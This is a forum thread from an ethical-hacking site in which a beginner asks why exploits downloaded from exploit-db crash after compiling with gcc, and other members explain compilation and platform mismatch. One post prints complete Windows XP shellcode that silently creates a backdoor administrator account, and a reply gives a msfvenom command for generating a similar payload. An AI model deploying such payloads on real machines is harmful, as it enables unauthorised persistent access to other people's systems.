Home
Calendar
Certifications
Columns
Features
Forum
Resources
Vitals
Latest Additions
April 2013 Free Giveaway Sponsor - eLearnSecurity
Human Intelligence to Navigate the Security Data Deluge
February 2013 Free Giveaway Winner of SANS CyberCon Training
Interview: Bugcrowd Founders on Herding Ninjas for Crowdsourced Bug Bounties
Network Forensics: The Tree in the Forest
March 2013 Free Giveaway Sponsor - Mile2
Book Review: Violent Python
February 2013 Free Giveaway Sponsor - SANS
Holiday 2012 Free Giveaway Winner of Metasploit Pro by Rapid7
Course Review: SANS FOR408 Computer Forensic Investigations – Windows In-Depth
The Security Consulting Sugar High
Tutorial: Fun with SMB on the Command Line
Interview: Ilia Kolochenko, CEO of High-Tech Bridge
October 2012 Free Giveaway Winner of LearningGate Training
The Broken: Assessing Corporate Security in 2012 to Make a Better 2013
EH-Net Login
Welcome Guest.
Username:
Password:
Remember me
Lost Password?
No account yet?
Register
Who's Online
We have 40 guests and 1 member online
Free Business and Tech Magazines and eBooks
You are here:
EH-Net
May 24, 2013, 11:12:41 AM
Welcome,
Guest
. Please
login
or
register
.
Did you miss your
activation email?
1 Hour
1 Day
1 Week
1 Month
Forever
Login with username, password and session length
News
: Go back to The Ethical Hacker Network Online Magazine
Home Page
Home
Help
Calendar
Login
Register
EH-Net
>
Ethical Hacking Discussions and Related Certifications
>
Programming
(Moderator:
don
) >
Gcc segmentation fault error help
Pages: [
1
]
Go Down
« previous
next »
Print
Author
Topic: Gcc segmentation fault error help (Read 4388 times)
0 Members and 1 Guest are viewing this topic.
fred
Sr. Member
Offline
Posts: 351
The World is sick, Save your mind...
Gcc segmentation fault error help
«
on:
August 03, 2012, 04:56:59 AM »
hi guys firstly i wanna tell you that i have no background with C Programming and i used exploit-db search tool in BT5R2 to find a exploit 4 winxp (as u know this tool has too much exploits!) then i found it up to here everything was awsome i compiled the exploit with gcc and when i wanted to run the a.out file i got segmentation fault error dose anybody can help me thanx
Logged
ICS Academy Network Security Certified
ZeroOne
Jr. Member
Offline
Posts: 59
Re: Gcc segmentation fault error help
«
Reply #1 on:
August 03, 2012, 12:12:59 PM »
Can you type the command you entered when compiling, also what was the exact error output you got? paste please
Logged
fred
Sr. Member
Offline
Posts: 351
The World is sick, Save your mind...
Re: Gcc segmentation fault error help
«
Reply #2 on:
August 03, 2012, 01:21:38 PM »
ok man
Root@bt: gcc 1258.c
Root@bt:
Root@bt: ./a.out
Segmentation fault
Root@bt:
Logged
ICS Academy Network Security Certified
ZeroOne
Jr. Member
Offline
Posts: 59
Re: Gcc segmentation fault error help
«
Reply #3 on:
August 03, 2012, 01:32:10 PM »
Try compiling it this way:
-gcc -o 1258 1258.c
let me know what you get
Logged
fred
Sr. Member
Offline
Posts: 351
The World is sick, Save your mind...
Re: Gcc segmentation fault error help
«
Reply #4 on:
August 03, 2012, 01:39:17 PM »
Quote from: ZeroOne on August 03, 2012, 01:32:10 PM
Try compiling it this way:
-gcc -o 1258 1258.c
let me know what you get
-gcc? Its gives me error brother an do i need to type the name twice?
Logged
ICS Academy Network Security Certified
ZeroOne
Jr. Member
Offline
Posts: 59
Re: Gcc segmentation fault error help
«
Reply #5 on:
August 03, 2012, 01:54:52 PM »
ops sorry, gcc -o 1258 1258.c
Logged
unicityd
Full Member
Offline
Posts: 156
Bored IT Manager, Crypto Nerd
Re: Gcc segmentation fault error help
«
Reply #6 on:
August 03, 2012, 01:57:24 PM »
You don't need a "-" in front of gcc. The -o option tell gcc where to write the output. so "gcc -o output input.c" says to compile input.c and call the result "output".
Since the program is segfaulting, you probably need to look at the code. This is one reason why knowing C is useful for pen testing/security.
Logged
BS in IT, CISSP, MS in IS Management (in progress)
ZeroOne
Jr. Member
Offline
Posts: 59
Re: Gcc segmentation fault error help
«
Reply #7 on:
August 03, 2012, 01:58:01 PM »
Quote from: cyber.spirit on August 03, 2012, 01:39:17 PM
Quote from: ZeroOne on August 03, 2012, 01:32:10 PM
Try compiling it this way:
-gcc -o 1258 1258.c
let me know what you get
-gcc? Its gives me error brother an do i need to type the name twice?
You are converting the 1258.c code (C language) to a low-level language so the computer can understand it, thats why we are using gcc -o 1258 1258.c .. I'll get online in an hour w'll go through the code
«
Last Edit: August 03, 2012, 02:01:08 PM by ZeroOne
»
Logged
fred
Sr. Member
Offline
Posts: 351
The World is sick, Save your mind...
Re: Gcc segmentation fault error help
«
Reply #8 on:
August 03, 2012, 02:01:07 PM »
thanx it works but for some exploits i get the same error idk why
Logged
ICS Academy Network Security Certified
fred
Sr. Member
Offline
Posts: 351
The World is sick, Save your mind...
Re: Gcc segmentation fault error help
«
Reply #9 on:
August 03, 2012, 02:09:50 PM »
i think those exploits has anyway my exploit is working now thanx
Logged
ICS Academy Network Security Certified
ZeroOne
Jr. Member
Offline
Posts: 59
Re: Gcc segmentation fault error help
«
Reply #10 on:
August 03, 2012, 03:00:44 PM »
Quote from: unicityd on August 03, 2012, 01:57:24 PM
This is one reason why knowing C is useful for pen testing/security.
In my opinion, any penetration tester must have a solid background not only in C, but also Assembly, that way he can debug codes and create his own exploits. also build up his own tools. for me there is no discussion about that.
Logged
fred
Sr. Member
Offline
Posts: 351
The World is sick, Save your mind...
Re: Gcc segmentation fault error help
«
Reply #11 on:
August 03, 2012, 03:16:44 PM »
yeah i agree with u and im learning assembly even i hate programming!
Logged
ICS Academy Network Security Certified
fred
Sr. Member
Offline
Posts: 351
The World is sick, Save your mind...
Re: Gcc segmentation fault error help
«
Reply #12 on:
August 06, 2012, 12:53:36 AM »
hi guys im soo sorry if i backed to this topic. but i got the same error with another exploit which i really need it. so the file's name is : 15202.c and i typed this command as zero One said:
root@bt:/# gcc -o 15202 15202.c
root@bt:/#
root@bt:/#./15202
Segmentation fault
as you see i got the damn same error so here is the source code of the exploit:
Code:
/*
Title: win32/xp pro sp3 (EN) 32-bit - add new local administrator 113 bytes
Author: Anastasios Monachos (secuid0) - anastasiosm[at]gmail[dot]com
Method: Hardcoded opcodes (kernel32.winexec@7c8623ad, kernel32.exitprocess@7c81cafa)
Tested on: WinXP Pro SP3 (EN) 32bit - Build 2600.080413-2111
Greetz: offsec and inj3ct0r teams
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
char code[] =
"\xeb\x16\x5b\x31\xc0\x50\x53\xbb\xad\x23"
"\x86\x7c\xff\xd3\x31\xc0\x50\xbb\xfa\xca"
"\x81\x7c\xff\xd3\xe8\xe5\xff\xff\xff\x63"
"\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20"
"\x6e\x65\x74\x20\x75\x73\x65\x72\x20\x73"
"\x65\x63\x75\x69\x64\x30\x20\x6d\x30\x6e"
"\x6b\x20\x2f\x61\x64\x64\x20\x26\x26\x20"
"\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67"
"\x72\x6f\x75\x70\x20\x61\x64\x6d\x69\x6e"
"\x69\x73\x74\x72\x61\x74\x6f\x72\x73\x20"
"\x73\x65\x63\x75\x69\x64\x30\x20\x2f\x61"
"\x64\x64\x00";
int main(int argc, char **argv)
{
((void (*)())code)();
printf("New local admin \tUsername: secuid0\n\t\t\tPassword: m0nk");
return 0;
}
so please help me i have no idea and i extremely need this exploit thanx alot
Logged
ICS Academy Network Security Certified
shadowzero
Full Member
Offline
Posts: 120
It's a UNIX system, I know this!
Re: Gcc segmentation fault error help
«
Reply #13 on:
August 06, 2012, 02:33:40 AM »
Seems broken. This one works better:
http://www.exploit-db.com/exploits/15203/
Couple of points:
This is meant to be run on Windows, so compiling it with gcc and trying to run it on Linux will fail. So you have two options: compile it on Windows, or figure out how to compile it on Linux (hint: read up on mingw)
Lots of exploits are designed to be broken to prevent script kiddies from using it... or worse, the shellcode could be be designed to wipe out your system or open a backdoor. Learn to create your own shellcode (hint: read up on msfvenom and msfpayload).
For instance, that exploit you found could have been easily generated with msfvenom:
Code:
msfvenom --payload windows/adduser --format exe > adduser.exe
Also, in order for the exploit to work, the user running it needs to be part of the Administrators group (or SYSTEM). Otherwise you'll just get an access denied error. So it makes more sense to use it as shellcode for an exploit.
Finally, you seem relatively new to this, so unless the machine you're targeting is your own, I suggest treading carefully. Doing things blindly can cause more harm than good.
Good luck.
Logged
Pages: [
1
]
Go Up
Print
« previous
next »
Jump to:
Please select a destination:
-----------------------------
EH-Net
-----------------------------
=> Calendar Of Events
===> ChicagoCon 2007
===> ChicagoCon 2008s
===> ChicagoCon 2008f
===> ChicagoCon 2009s
=> Ethical Hacktivism
=> News Items and General Discussion About EH-Net
===> Greetings
=> Special Events
-----------------------------
Ethical Hacking Discussions and Related Certifications
-----------------------------
=> General Certification
===> Networking
===> OS
===> Security
=> Compliance, Regulations & Standards
=> Control Systems
=> Cyber Warfare
=> Forensics
===> CCE / MCCE - (Master) Certified Computer Examiner
===> CHFI - Computer Hacking Forensic Investigator
===> EnCE - EnCase® Certified Examiner
===> GCFA - GIAC Certified Forensics Analyst
=> Hardware
=> Incident Response
===> CSIH - Computer Security Incident Handler
===> GCIH - GIAC Certified Incident Handler
=> Malware
===> Advisories
=> Mobile
=> Network Pen Testing
===> CEH - Certified Ethical Hacker
===> CPTC - Certified Penetration Testing Consultant
===> CPTE - Certified Penetration Testing Engineer
===> CSTA - Certified Security Testing Associate
===> eCPPT - eLearnSecurity Certified Professional Penetration Tester
===> ECSA - EC-Council Certified Security Analyst
===> GPEN - GIAC Certified Penetration Tester
===> OSCP - Offensive Security Certified Professional
=> Physical Security
=> Programming
=> Social Engineering
=> Web Applications
=> Wireless
===> CWNP Certs
===> GAWN - GIAC Assessing Wireless Networks
===> OSWP - Offensive Security Wireless Professional
=> Other
-----------------------------
Columns
-----------------------------
=> Editor-In-Chief
=> Andress
=> Gates
=> Haddix
=> Hadnagy
=> Heffner
=> Hoffman
=> Linn
=> RichM
=> Murray
=> J. Peltier
=> Weidman
=> Wilson
-----------------------------
Features
-----------------------------
=> /root
=> Book Reviews
=> Opinions
=> Skillz
===> Examples
===> May 06 - Star Hacks, Episode V: The Empire Hacks Back
===> July 06 - Hack Bill!
===> Sept 06 - Netcat in the Hat
===> Nov 06 - Hitch-Hackers Guide to the Galaxy
===> Dec 06 - A Christmas (Hacking) Story
===> Feb 07 - Charlottes Web Site
===> April 07 - Microsoft Office Space
===> June 07 - Serenity Hack
===> Oct 07 - Worst. Ethical. Hacker. Challenge. Ever.
===> Dec 07 - Frosty the Snow Crash
===> March 2008 - It Happened One Friday
===> Oct 2008 - Scooby Doo and the Crypto Caper
===> Dec 08 - Santa Claus Is Hacking to Town
===> Feb 2009 - Brady Bunch Boondoggle
===> July 2009 - Prison Break
===> October 2009 - SSHliders
===> December 2009 - Miracle on Thirty-Hack Street
===> December 2010 - The Nightmare Before Charlie Browns Christmas
-----------------------------
Resources
-----------------------------
=> Career Central
===> Looking For Work
===> Looking To Hire
=> Links to cool sites.
=> Mass Media
=> News from the Outside World
=> Tools
=> Tutorials
===> Tutorial Requests
Loading...
Exclusive Deal
SANSFIRE 2013
June 15 - 22
5% Off
w/ Code
:
EHN_5
SANS Deals 4 EH-Netters
5% OFF
Any
SANS Course
in Any Format!
Coupon Code:
EHN_5
Including
SANS Rocky Mountain 2013
&
SANS Boston 2013
Polls
Compared to this year, 2013 will be:
Great!
Better.
About the same.
Little worse.
FUBAR!
Recent Forum Topics
Greetings
: Hi from the UK
(5) by
prats84
GCIH - GIAC Certified Incident Handler
: Passed my GCIH
(9) by
prats84
Network Pen Testing
: Want a challenge? Want a GXPN practice exam?
(0) by
ajohnson
News Items and General Discussion About EH-Net
: Change is Coming to EH-Net!!
(29) by
ajohnson
GCIH - GIAC Certified Incident Handler
: GCIH Free Practice test attempt
(1) by
prats84
EH-Net News Feeds
Latest Additions
Privacy Notice
for TDCC & All Properties
Free Business and Tech Magazines and eBooks
© 2013 The Ethical Hacker Network
Joomla!
is Free Software released under the GNU/GPL License.